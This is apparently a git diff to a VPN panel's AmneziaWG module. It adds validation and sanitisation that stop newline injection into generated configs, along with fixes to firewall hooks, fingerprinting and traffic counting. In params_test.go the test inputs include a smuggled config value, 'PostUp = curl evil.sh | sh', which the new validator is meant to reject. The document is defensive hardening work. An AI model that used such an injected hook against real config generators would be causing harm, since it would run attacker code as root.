diff --git a/install.sh b/install.sh index d9a63d214..9d2eb8fed 100644 --- a/install.sh +++ b/install.sh @@ -175,7 +175,10 @@ install_ndppd() { dnf install -y ndppd 2>/dev/null || yum install -y ndppd 2>/dev/null || true ;; arch | manjaro | parch) - pacman -Syu --noconfirm ndppd 2>/dev/null || true + # -Sy (not -Syu): every other pacman call in this script only + # refreshes the package database, never does a full system + # upgrade as a side effect of installing one package. + pacman -Sy --noconfirm ndppd 2>/dev/null || true ;; esac } @@ -219,11 +222,19 @@ enable_tproxy_support() { # forwarding it brings. # # should_install_amneziawg decides whether to run install_amneziawg at all. +# Short-circuits to yes when awg is already on PATH, so `x-ui update` on a +# host that already has it doesn't re-prompt an admin who already answered +# this once -- install_amneziawg's own case statement would just skip the +# actual DKMS/package work again anyway, but the interactive prompt itself +# still fired every run, and answering "n" out of habit (since AmneziaWG is +# already installed and working) skipped the harmless modprobe/ndppd/sysctl +# refresh that same case statement also does unconditionally. # XUI_INSTALL_AMNEZIAWG=true/false answers it outright (for non-interactive/ # cloud-init runs); otherwise an interactive install prompts (default: yes), # and a non-interactive one with nothing to answer the prompt defaults to # installing it too. should_install_amneziawg() { + command -v awg &>/dev/null && return 0 case "${XUI_INSTALL_AMNEZIAWG:-}" in true | TRUE | 1 | yes | y | Y) return 0 ;; false | FALSE | 0 | no | n | N) return 1 ;; diff --git a/internal/amneziawg/manager.go b/internal/amneziawg/manager.go index aea9ddc71..90206ec0a 100644 --- a/internal/amneziawg/manager.go +++ b/internal/amneziawg/manager.go @@ -171,24 +171,28 @@ func (inst Instance) peersFingerprint() string { } // hostRulesFingerprint identifies per-peer state that only ever takes effect -// through PostUp/PostDown shell rules — forwarded ports; when -// RouteThroughXray is on, every peer's IPv4 address (the TPROXY rule into -// this instance's own Xray bridge is keyed on it); and when IPv6 is enabled, -// the peer's IPv6 address (its NDP-proxy PostUp/PostDown entry) — rather -// than the WireGuard peer table itself. It is checked separately from +// through PostUp/PostDown shell rules — forwarded ports (whose DNAT rules +// are keyed on the peer's IPv4 address, the same as the TPROXY rule below); +// when RouteThroughXray is on, every peer's IPv4 address (the TPROXY rule +// into this instance's own Xray bridge is keyed on it); and when IPv6 is +// enabled, the peer's IPv6 address (its NDP-proxy PostUp/PostDown entry) — +// rather than the WireGuard peer table itself. It is checked separately from // peersFingerprint because `awg syncconf` never re-runs PostUp/PostDown, so // a change here must force a full interface bounce (ensureRestart) to // actually take effect, unlike a key-only change that syncconf can apply in -// place. The IPv4/IPv6 components are each included only when the feature -// that actually reads them is on: including them unconditionally would force -// a full bounce on every peer add/remove/re-IP even for an instance whose -// PostUp/PostDown text never changes as a result, permanently losing the -// syncconf fast path for no reason. +// place. The IPv4 component is included whenever RouteThroughXray is on OR +// the peer has forwarded ports — either one means PostUp/PostDown text is +// keyed on that address, so a re-IP with either feature off must still force +// a bounce (otherwise the old DNAT/TPROXY rule survives pointed at an +// address the reconciler is now free to hand to a different peer). The IPv6 +// component stays IPv6Enabled-gated only, matching the single feature that +// reads it. Skipping both entirely when neither applies preserves the +// syncconf fast path for a plain instance's peer add/remove/re-IP. func (inst Instance) hostRulesFingerprint() string { pairs := make([]string, 0, len(inst.Peers)) for _, p := range inst.Peers { v := fmt.Sprintf("%s=fwd:%s", p.Email, p.ForwardedPorts) - if inst.RouteThroughXray { + if inst.RouteThroughXray || p.ForwardedPorts != "" { v += ";ip:" + FirstIPv4(p.AllowedIPs) } if inst.IPv6Enabled { @@ -371,11 +375,15 @@ func (m *Manager) sweepOrphansLocked(want map[int]struct{}) { if m.swept { return } - m.swept = true entries, err := os.ReadDir(configDir) if err != nil { + // Left false on purpose: a transient error (the directory not existing + // yet, a momentary filesystem hiccup) should let the next Reconcile + // tick retry the sweep, rather than permanently disabling it for this + // process's whole lifetime over a failure that may not recur. return } + m.swept = true names := make([]string, 0, len(entries)) for _, entry := range entries { if !entry.IsDir() { @@ -501,13 +509,18 @@ func (m *Manager) CollectTraffic() ([]Traffic, []string) { id int inst Instance last map[string]peerCounters + // entry is the exact *managed snapshotted below, kept so the + // write-back can detect a concurrent ensureRestart/ensureReload + // (which replaces the map entry with a fresh pointer, see + // ensureLocked) that happened while getPeerStats ran lock-free. + entry *managed } m.mu.Lock() snaps := make([]snap, 0, len(m.ifaces)) for id, cur := range m.ifaces { lastCopy := make(map[string]peerCounters, len(cur.last)) maps.Copy(lastCopy, cur.last) - snaps = append(snaps, snap{id: id, inst: cur.inst, last: lastCopy}) + snaps = append(snaps, snap{id: id, inst: cur.inst, last: lastCopy, entry: cur}) } m.mu.Unlock() @@ -553,7 +566,16 @@ func (m *Manager) CollectTraffic() ([]Traffic, []string) { } m.mu.Lock() - if cur, ok := m.ifaces[s.id]; ok { + // Only write back if this is still the exact entry snapshotted above: + // getPeerStats ran without the lock held, so ensureLocked could have + // restarted (or reloaded) this same interface in the meantime, + // replacing the map entry with a fresh *managed and, for a restart, + // resetting last to empty (kernel counters zero on down+up). Writing + // newLast back over that unconditionally would silently resurrect the + // pre-restart counters as the new baseline, making the next poll + // compute a negative delta and clamp a real poll's worth of traffic + // to zero. + if cur, ok := m.ifaces[s.id]; ok && cur == s.entry { cur.last = newLast } m.mu.Unlock() @@ -570,7 +592,7 @@ func generateServerConfig(inst Instance) string { var b strings.Builder b.WriteString("[Interface]\n") - fmt.Fprintf(&b, "PrivateKey = %s\n", inst.PrivateKey) + fmt.Fprintf(&b, "PrivateKey = %s\n", sanitizeConfigValue(inst.PrivateKey)) if len(inst.Address) > 0 { fmt.Fprintf(&b, "Address = %s\n", strings.Join(inst.Address, ", ")) } @@ -591,11 +613,11 @@ func generateServerConfig(inst Instance) string { for _, p := range inst.Peers { b.WriteString("\n[Peer]\n") if p.Email != "" { - fmt.Fprintf(&b, "# %s\n", p.Email) + fmt.Fprintf(&b, "# %s\n", sanitizeConfigValue(p.Email)) } - fmt.Fprintf(&b, "PublicKey = %s\n", p.PublicKey) + fmt.Fprintf(&b, "PublicKey = %s\n", sanitizeConfigValue(p.PublicKey)) if p.PresharedKey != "" { - fmt.Fprintf(&b, "PresharedKey = %s\n", p.PresharedKey) + fmt.Fprintf(&b, "PresharedKey = %s\n", sanitizeConfigValue(p.PresharedKey)) } fmt.Fprintf(&b, "AllowedIPs = %s\n", strings.Join(p.AllowedIPs, ", ")) } @@ -603,6 +625,25 @@ func generateServerConfig(inst Instance) string { return b.String() } +// sanitizeConfigValue strips newlines, carriage returns, and other control +// characters from a value about to be interpolated into the generated +// .conf. ValidateConfigValue rejects these at save time, but a row that +// predates that validation (an upgrade, a node sync, a restored backup, a +// direct DB edit) would otherwise still reach awg-quick's parser, where a +// newline lets a later line re-open a new section and smuggle in a hook +// awg-quick executes as root. This is the render-time backstop; it +// silently drops the offending bytes rather than failing the whole config +// build, matching how hOrDefault degrades a blank H value instead of +// emitting an invalid line. +func sanitizeConfigValue(v string) string { + return strings.Map(func(r rune) rune { + if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f { + return -1 + } + return r + }, v) +} + // writeObfuscation writes the AmneziaWG obfuscation parameters that must be // identical on both ends of a tunnel. S3/S4 and I1 are emitted only when set, // so a plain 1.x-equivalent set (S3=S4=0, I1="") produces the classic @@ -625,7 +666,7 @@ func writeObfuscation(b *strings.Builder, o Obfuscation20) { fmt.Fprintf(b, "H3 = %s\n", hOrDefault(o.H3, "3")) fmt.Fprintf(b, "H4 = %s\n", hOrDefault(o.H4, "4")) if o.I1 != "" { - fmt.Fprintf(b, "I1 = %s\n", o.I1) + fmt.Fprintf(b, "I1 = %s\n", sanitizeConfigValue(o.I1)) } } @@ -752,7 +793,13 @@ func defaultPostUpDown(inst Instance, ext string) (postUp, postDown string) { // regardless of which firewall manager (ufw, firewalld, bare // iptables) owns the rest of that chain. up = append(up, - fmt.Sprintf("ip rule list | grep -q 'fwmark %#x lookup %d' || ip rule add fwmark %#x lookup %d", EgressFwmark, EgressTable, EgressFwmark, EgressTable), + // grep -c (not -q): -q exits as soon as it matches, so "ip rule + // list" can take SIGPIPE; under `set -o pipefail` the pipeline then + // reports 141 even though the rule WAS found, and "ip rule add" + // below runs anyway -- reintroducing the exact duplicate-rule + // accumulation this existence check exists to prevent. -c reads + // every line to completion and still exits 1 on no match. + fmt.Sprintf("ip rule list | grep -c 'fwmark %#x lookup %d' >/dev/null || ip rule add fwmark %#x lookup %d", EgressFwmark, EgressTable, EgressFwmark, EgressTable), fmt.Sprintf("ip route replace local 0.0.0.0/0 dev lo table %d", EgressTable), fmt.Sprintf("iptables -C INPUT -m mark --mark %#x -j ACCEPT 2>/dev/null || iptables -I INPUT 1 -m mark --mark %#x -j ACCEPT", EgressFwmark, EgressFwmark), ) @@ -760,7 +807,25 @@ func defaultPostUpDown(inst Instance, ext string) (postUp, postDown string) { } up = append(up, "sysctl -w net.ipv4.ip_forward=1") - return strings.Join(up, "; "), strings.Join(down, "; ") + return strings.Join(up, "; "), strings.Join(appendOrTrue(down), "; ") +} + +// appendOrTrue suffixes every command with " || true", making the whole +// PostDown chain best-effort. wg-quick/awg-quick joins hook commands with +// "; " and runs the result under `set -e -o pipefail`, so the first non-zero +// command aborts everything after it. On teardown that matters: if +// something has already flushed the filter table out from under the +// interface (a ufw/firewalld reload, fail2ban rebuilding its chains), the +// first "-D" fails and every command after it — including the nat-table DNAT +// deletes a flush does NOT remove — is skipped, and the next PostUp re-adds +// them, accumulating one set per bounce. PostUp is left alone: a real setup +// failure there should still surface, not be silently swallowed. +func appendOrTrue(cmds []string) []string { + out := make([]string, len(cmds)) + for i, c := range cmds { + out[i] = c + " || true" + } + return out } // firstAddress returns the first configured interface address, used as the diff --git a/internal/amneziawg/manager_test.go b/internal/amneziawg/manager_test.go index 98cfc3749..6a6d1e061 100644 --- a/internal/amneziawg/manager_test.go +++ b/internal/amneziawg/manager_test.go @@ -267,6 +267,19 @@ func TestHostRulesFingerprintCoversForwardedPortsAndPeerIP(t *testing.T) { t.Fatal("with RouteThroughXray off, changing a peer's IP must NOT change the host-rules fingerprint") } + // A peer with forwarded ports has its DNAT rule keyed on its IPv4 address + // too, regardless of RouteThroughXray -- re-IPing it must force a bounce, + // or the old DNAT rule survives pointed at an address a different peer + // can be handed next. + forwardedReIPed := baseInstance() + forwardedReIPed.Peers[0].ForwardedPorts = "80,443" + forwardedBase := baseInstance() + forwardedBase.Peers[0].ForwardedPorts = "80,443" + forwardedReIPed.Peers[0].AllowedIPs = []string{"10.8.1.250/32"} + if forwardedBase.hostRulesFingerprint() == forwardedReIPed.hostRulesFingerprint() { + t.Fatal("with RouteThroughXray off but ForwardedPorts set, changing a peer's IP must change the host-rules fingerprint -- its DNAT rule is keyed on that IP") + } + // RouteThroughXray on: now the TPROXY rule really is keyed on the IP. routed := baseInstance() routed.RouteThroughXray = true @@ -383,8 +396,12 @@ func TestDefaultPostUpDownEmitsTproxyForEveryPeerWhenRouteThroughXrayOn(t *testi if !strings.Contains(up, fmt.Sprintf("ip rule add fwmark %#x", EgressFwmark)) { t.Errorf("expected the shared policy route to be added once in PostUp, got:\n%s", up) } - if wantCheck := fmt.Sprintf("ip rule list | grep -q 'fwmark %#x lookup %d'", EgressFwmark, EgressTable); !strings.Contains(up, wantCheck) { - t.Errorf("expected an existence check before 'ip rule add', so repeated bounces don't accumulate duplicate rules, got:\n%s", up) + // grep -c, not -q: -q's early exit can SIGPIPE "ip rule list" and, under + // pipefail, make the existence check itself report failure even when the + // rule was found -- which would re-run "ip rule add" and reintroduce the + // exact duplicate this check exists to prevent. + if wantCheck := fmt.Sprintf("ip rule list | grep -c 'fwmark %#x lookup %d' >/dev/null", EgressFwmark, EgressTable); !strings.Contains(up, wantCheck) { + t.Errorf("expected a pipefail-safe existence check before 'ip rule add', so repeated bounces don't accumulate duplicate rules, got:\n%s", up) } if strings.Contains(down, "ip rule") || strings.Contains(down, "ip route") { t.Error("the shared policy route must never be removed in PostDown -- other instances may still need it") @@ -430,6 +447,29 @@ func TestDefaultPostUpDownAddsInputAcceptForFwmarkWhenRouteThroughXrayOn(t *test } } +// PostDown is joined with "; " and run under `set -e`, so one command that +// fails because something already flushed the firewall state out from under +// the interface (a ufw/firewalld reload) would otherwise abort every command +// after it -- including the nat-table DNAT deletes a filter-table flush does +// NOT remove, which then survive and accumulate across bounces. Every +// teardown command must be best-effort; PostUp must not be. +func TestDefaultPostUpDownMakesEveryTeardownCommandBestEffort(t *testing.T) { + inst := baseInstance() // two peers, a@x and b@x + inst.RouteThroughXray = true + inst.IPv6Enabled = true + inst.Peers[0].ForwardedPorts = "80,443" + up, down := defaultPostUpDown(inst, "eth0") + + for _, cmd := range strings.Split(down, "; ") { + if !strings.HasSuffix(cmd, "|| true") { + t.Errorf("every PostDown command must end with '|| true' so a flushed firewall doesn't abort the rest, got: %q", cmd) + } + } + if strings.Contains(up, "|| true") { + t.Error("PostUp must stay strict -- a real setup failure there should surface, not be silently swallowed") + } +} + func TestGenerateServerConfigContainsExpectedLines(t *testing.T) { inst := baseInstance() inst.ExternalInterface = "eth0" diff --git a/internal/amneziawg/params.go b/internal/amneziawg/params.go index f67b0b45c..02829fd69 100644 --- a/internal/amneziawg/params.go +++ b/internal/amneziawg/params.go @@ -189,6 +189,25 @@ func ValidateSubnetIPv4(subnetIP string, subnetCIDR int) error { return nil } +// ValidateConfigValue rejects a value containing a newline, carriage return, +// or other control character before it's saved. PrivateKey/PublicKey/I1 on +// the server block, and Email/PublicKey/PreSharedKey per client, all get +// interpolated verbatim into the generated .conf by generateServerConfig; a +// newline in any of them lets a later line re-open a new [Interface]/[Peer] +// section, and awg-quick's parser collects a following "PostUp = ..." line +// into a hook it executes as root on the next apply — the same class this +// package already closes for ExternalInterface/IPv6ExternalInterface (see +// ValidateInterfaceName) and SubnetIP (see ValidateSubnetIPv4). field names +// the value in the returned error, e.g. "email" or "publicKey". +func ValidateConfigValue(field, v string) error { + for _, r := range v { + if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f { + return fmt.Errorf("invalid %s: control characters are not allowed", field) + } + } + return nil +} + // validateHValue checks one H parameter: empty, a single uint32, or // "low-high" with 0 <= low <= high <= uint32 max. func validateHValue(v string) error { diff --git a/internal/amneziawg/params_test.go b/internal/amneziawg/params_test.go index 7a10c04ef..05f90fa57 100644 --- a/internal/amneziawg/params_test.go +++ b/internal/amneziawg/params_test.go @@ -211,3 +211,34 @@ func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) { } } } + +func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) { + for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", ""} { + if err := ValidateConfigValue("email", v); err != nil { + t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err) + } + } +} + +func TestValidateConfigValueRejectsControlCharacters(t *testing.T) { + cases := []string{ + "a@x\nPostUp = curl evil.sh | sh", + "a@x\r\n[Interface]", + "tab\there", + "a@x\x7f", + } + for _, v := range cases { + if err := ValidateConfigValue("email", v); err == nil { + t.Errorf("ValidateConfigValue(%q) must be rejected", v) + } + } +} + +func TestSanitizeConfigValueStripsControlCharactersOnly(t *testing.T) { + if got := sanitizeConfigValue("a@x\nPostUp = evil\r\n"); got != "a@xPostUp = evil" { + t.Errorf("sanitizeConfigValue must drop newlines/CR without altering the rest, got %q", got) + } + if got := sanitizeConfigValue("plain-value_123"); got != "plain-value_123" { + t.Errorf("sanitizeConfigValue must not touch an already-clean value, got %q", got) + } +} diff --git a/internal/amneziawg/route_egress.go b/internal/amneziawg/route_egress.go index df14fc25f..c18d8f320 100644 --- a/internal/amneziawg/route_egress.go +++ b/internal/amneziawg/route_egress.go @@ -6,17 +6,18 @@ import ( ) // EgressBasePort is the first loopback port used for an AmneziaWG inbound's -// own Xray TPROXY bridge. Every enabled inbound gets one bridge, always -// present by default (no opt-in flag): defaultPostUpDown's TPROXY rules -// redirect every peer's traffic there unconditionally, and -// internal/web/service's injectAmneziawgEgress creates the matching +// own Xray TPROXY bridge. The bridge is opt-in per inbound, gated on +// Instance.RouteThroughXray (off by default): only when it's on does +// defaultPostUpDown's TPROXY rules redirect a peer's traffic there, and only +// then does internal/web/service's injectAmneziawgEgress create the matching // dokodemo-door inbound, tagged with the AmneziaWG inbound's own real tag so // it's already selectable in the panel's stock Routing page (the same // mechanism that already makes an mtproto inbound's own bridge routable -// there — see injectMtprotoEgress). Whether — and where — that traffic -// actually goes anywhere beyond Xray's default routing is entirely up to -// whatever rules the admin adds on that page; this package and -// injectAmneziawgEgress never generate a routing rule themselves. +// there — see injectMtprotoEgress). A plain AmneziaWG tunnel with routing +// left off never depends on Xray being up at all. Whether — and where — +// routed traffic actually goes anywhere beyond Xray's default routing is +// entirely up to whatever rules the admin adds on that page; this package +// and injectAmneziawgEgress never generate a routing rule themselves. // // EgressPortForInbound derives each inbound's own port deterministically // from its id, so the two independent reconcile loops (this package's diff --git a/internal/web/service/client_inbound_apply.go b/internal/web/service/client_inbound_apply.go index 9316ecb92..cd0827537 100644 --- a/internal/web/service/client_inbound_apply.go +++ b/internal/web/service/client_inbound_apply.go @@ -368,6 +368,13 @@ func (s *ClientService) addInboundClient(inboundSvc *InboundService, data *model } } + var portCtx portConflictContext + if oldInbound.Protocol == model.AmneziaWG { + portCtx, err = inboundSvc.loadPortConflictContext() + if err != nil { + return false, err + } + } for _, client := range clients { if strings.TrimSpace(client.Email) == "" { return false, common.NewError("client email is required") @@ -402,9 +409,7 @@ func (s *ClientService) addInboundClient(inboundSvc *InboundService, data *model } } if oldInbound.Protocol == model.AmneziaWG { - if hit, err := inboundSvc.checkForwardedPortsConflict(client.ForwardedPorts); err != nil { - return false, err - } else if hit != "" { + if hit := inboundSvc.checkForwardedPortsConflict(portCtx, client.ForwardedPorts); hit != "" { return false, common.NewError("amneziawg: forwardedPorts collides with", hit) } } @@ -660,9 +665,11 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo } } if oldInbound.Protocol == model.AmneziaWG { - if hit, err := inboundSvc.checkForwardedPortsConflict(clients[0].ForwardedPorts); err != nil { + portCtx, err := inboundSvc.loadPortConflictContext() + if err != nil { return false, err - } else if hit != "" { + } + if hit := inboundSvc.checkForwardedPortsConflict(portCtx, clients[0].ForwardedPorts); hit != "" { return false, common.NewError("amneziawg: forwardedPorts collides with", hit) } } diff --git a/internal/web/service/inbound_amneziawg.go b/internal/web/service/inbound_amneziawg.go index 201a72441..91ad11e31 100644 --- a/internal/web/service/inbound_amneziawg.go +++ b/internal/web/service/inbound_amneziawg.go @@ -200,13 +200,33 @@ func (s *InboundService) normalizeAmneziaWGSettings(inbound *model.Inbound) erro if err := amneziawg.ValidateInterfaceName(parsed.Server.IPv6ExternalInterface); err != nil { return fmt.Errorf("amneziawg: ipv6ExternalInterface: %w", err) } + if err := amneziawg.ValidateConfigValue("privateKey", parsed.Server.PrivateKey); err != nil { + return fmt.Errorf("amneziawg: %w", err) + } + if err := amneziawg.ValidateConfigValue("publicKey", parsed.Server.PublicKey); err != nil { + return fmt.Errorf("amneziawg: %w", err) + } + if err := amneziawg.ValidateConfigValue("i1", parsed.Server.I1); err != nil { + return fmt.Errorf("amneziawg: %w", err) + } + portCtx, err := s.loadPortConflictContext() + if err != nil { + return err + } for _, c := range parsed.Clients { - if hit, err := s.checkForwardedPortsConflict(c.ForwardedPorts); err != nil { - return err - } else if hit != "" { + if hit := s.checkForwardedPortsConflict(portCtx, c.ForwardedPorts); hit != "" { return fmt.Errorf("amneziawg: client %q forwardedPorts collides with %s", c.Email, hit) } + if err := amneziawg.ValidateConfigValue("email", c.Email); err != nil { + return fmt.Errorf("amneziawg: %w", err) + } + if err := amneziawg.ValidateConfigValue("publicKey", c.PublicKey); err != nil { + return fmt.Errorf("amneziawg: client %q: %w", c.Email, err) + } + if err := amneziawg.ValidateConfigValue("preSharedKey", c.PreSharedKey); err != nil { + return fmt.Errorf("amneziawg: client %q: %w", c.Email, err) + } } bs, err := json.MarshalIndent(parsed, "", " ") @@ -217,25 +237,47 @@ func (s *InboundService) normalizeAmneziaWGSettings(inbound *model.Inbound) erro return nil } +// portConflictContext caches the state checkForwardedPortsConflict needs — +// the panel's own port and this host's enabled inbound ports — so validating +// N clients in one save (normalizeAmneziaWGSettings, or a bulk client add) +// costs one query total instead of N. Load it once with +// loadPortConflictContext and pass it to every checkForwardedPortsConflict +// call in that batch. +type portConflictContext struct { + webPort int + inbounds []*model.Inbound +} + +// loadPortConflictContext loads the panel's own port and every enabled +// inbound hosted on THIS panel (node_id IS NULL) — an inbound hosted on a +// different node listens on that node's own host, never this one, so it can +// never collide with a DNAT rule this process installs. +func (s *InboundService) loadPortConflictContext() (portConflictContext, error) { + var ctx portConflictContext + if webPort, err := (&SettingService{}).GetPort(); err == nil { + ctx.webPort = webPort + } + err := database.GetDB().Model(model.Inbound{}). + Where("enable = ? AND node_id IS NULL", true). + Find(&ctx.inbounds).Error + return ctx, err +} + // checkForwardedPortsConflict reports whether a client's ForwardedPorts spec -// covers the panel's own web port or any enabled inbound's own listen port. -// portForwardLines has no destination restriction and nothing else checks -// this, so a collision here would silently DNAT traffic meant for the panel -// or another protocol straight to the tunnel client instead. Returns a -// human-readable description of the first collision found, or "" when there -// is none. -func (s *InboundService) checkForwardedPortsConflict(forwardedPorts string) (string, error) { +// covers the panel's own web port or any of this host's own enabled inbound +// listen ports. portForwardLines has no destination restriction and nothing +// else checks this, so a collision here would silently DNAT traffic meant +// for the panel or another protocol straight to the tunnel client instead. +// Returns a human-readable description of the first collision found, or "" +// when there is none. +func (s *InboundService) checkForwardedPortsConflict(ctx portConflictContext, forwardedPorts string) string { if forwardedPorts == "" { - return "", nil + return "" } - if webPort, err := (&SettingService{}).GetPort(); err == nil && amneziawg.ForwardedPortsInclude(forwardedPorts, webPort) { - return fmt.Sprintf("the panel's own port (%d)", webPort), nil + if ctx.webPort > 0 && amneziawg.ForwardedPortsInclude(forwardedPorts, ctx.webPort) { + return fmt.Sprintf("the panel's own port (%d)", ctx.webPort) } - var inbounds []*model.Inbound - if err := database.GetDB().Model(model.Inbound{}).Where("enable = ?", true).Find(&inbounds).Error; err != nil { - return "", err - } - for _, ib := range inbounds { + for _, ib := range ctx.inbounds { if !amneziawg.ForwardedPortsInclude(forwardedPorts, ib.Port) { continue } @@ -243,7 +285,7 @@ func (s *InboundService) checkForwardedPortsConflict(forwardedPorts string) (str if name == "" { name = ib.Tag } - return fmt.Sprintf("inbound '%s' (#%d, port %d)", name, ib.Id, ib.Port), nil + return fmt.Sprintf("inbound '%s' (#%d, port %d)", name, ib.Id, ib.Port) } - return "", nil + return "" } diff --git a/internal/web/service/inbound_amneziawg_test.go b/internal/web/service/inbound_amneziawg_test.go index b100fccbb..4cd007b53 100644 --- a/internal/web/service/inbound_amneziawg_test.go +++ b/internal/web/service/inbound_amneziawg_test.go @@ -11,21 +11,25 @@ import ( func TestCheckForwardedPortsConflict_EmptySpecNoConflict(t *testing.T) { setupConflictDB(t) svc := &InboundService{} - hit, err := svc.checkForwardedPortsConflict("") - if err != nil || hit != "" { - t.Fatalf("an empty spec must never conflict; got hit=%q err=%v", hit, err) + ctx, err := svc.loadPortConflictContext() + if err != nil { + t.Fatalf("loadPortConflictContext: %v", err) + } + if hit := svc.checkForwardedPortsConflict(ctx, ""); hit != "" { + t.Fatalf("an empty spec must never conflict; got hit=%q", hit) } } func TestCheckForwardedPortsConflict_CollidesWithPanelPort(t *testing.T) { setupConflictDB(t) svc := &InboundService{} + ctx, err := svc.loadPortConflictContext() + if err != nil { + t.Fatalf("loadPortConflictContext: %v", err) + } // getString falls back to defaultValueMap's "webPort": "2053" on a fresh // DB with no explicit setting row. - hit, err := svc.checkForwardedPortsConflict("2053") - if err != nil { - t.Fatalf("checkForwardedPortsConflict: %v", err) - } + hit := svc.checkForwardedPortsConflict(ctx, "2053") if !strings.Contains(hit, "panel") { t.Fatalf("expected a collision naming the panel's own port, got %q", hit) } @@ -36,10 +40,11 @@ func TestCheckForwardedPortsConflict_CollidesWithEnabledInboundPort(t *testing.T seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`) svc := &InboundService{} - hit, err := svc.checkForwardedPortsConflict("8000-8100") + ctx, err := svc.loadPortConflictContext() if err != nil { - t.Fatalf("checkForwardedPortsConflict: %v", err) + t.Fatalf("loadPortConflictContext: %v", err) } + hit := svc.checkForwardedPortsConflict(ctx, "8000-8100") if !strings.Contains(hit, "vless-8080") { t.Fatalf("expected a collision naming the colliding inbound, got %q", hit) } @@ -53,9 +58,12 @@ func TestCheckForwardedPortsConflict_IgnoresDisabledInboundPort(t *testing.T) { } svc := &InboundService{} - hit, err := svc.checkForwardedPortsConflict("8080") - if err != nil || hit != "" { - t.Fatalf("a disabled inbound's port must not be reserved; got hit=%q err=%v", hit, err) + ctx, err := svc.loadPortConflictContext() + if err != nil { + t.Fatalf("loadPortConflictContext: %v", err) + } + if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" { + t.Fatalf("a disabled inbound's port must not be reserved; got hit=%q", hit) } } @@ -64,9 +72,32 @@ func TestCheckForwardedPortsConflict_NoCollisionWhenPortsDontOverlap(t *testing. seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`) svc := &InboundService{} - hit, err := svc.checkForwardedPortsConflict("9000-9100") - if err != nil || hit != "" { - t.Fatalf("unrelated ports must not conflict; got hit=%q err=%v", hit, err) + ctx, err := svc.loadPortConflictContext() + if err != nil { + t.Fatalf("loadPortConflictContext: %v", err) + } + if hit := svc.checkForwardedPortsConflict(ctx, "9000-9100"); hit != "" { + t.Fatalf("unrelated ports must not conflict; got hit=%q", hit) + } +} + +// A port-forward spec matching a port used only by an inbound hosted on a +// DIFFERENT node must not conflict: that inbound's DNAT/listen socket lives +// on the node's own host, never on this panel's, so there is nothing here +// for the forwarded port to actually collide with. Mirrors +// TestCheckPortConflict_NodeScope's own reasoning for the general port- +// conflict check. +func TestCheckForwardedPortsConflict_IgnoresPortOnDifferentNode(t *testing.T) { + setupConflictDB(t) + seedInboundConflictNode(t, "node1-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`, new(1)) + + svc := &InboundService{} + ctx, err := svc.loadPortConflictContext() + if err != nil { + t.Fatalf("loadPortConflictContext: %v", err) + } + if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" { + t.Fatalf("a port used only on a different node must not conflict; got hit=%q", hit) } }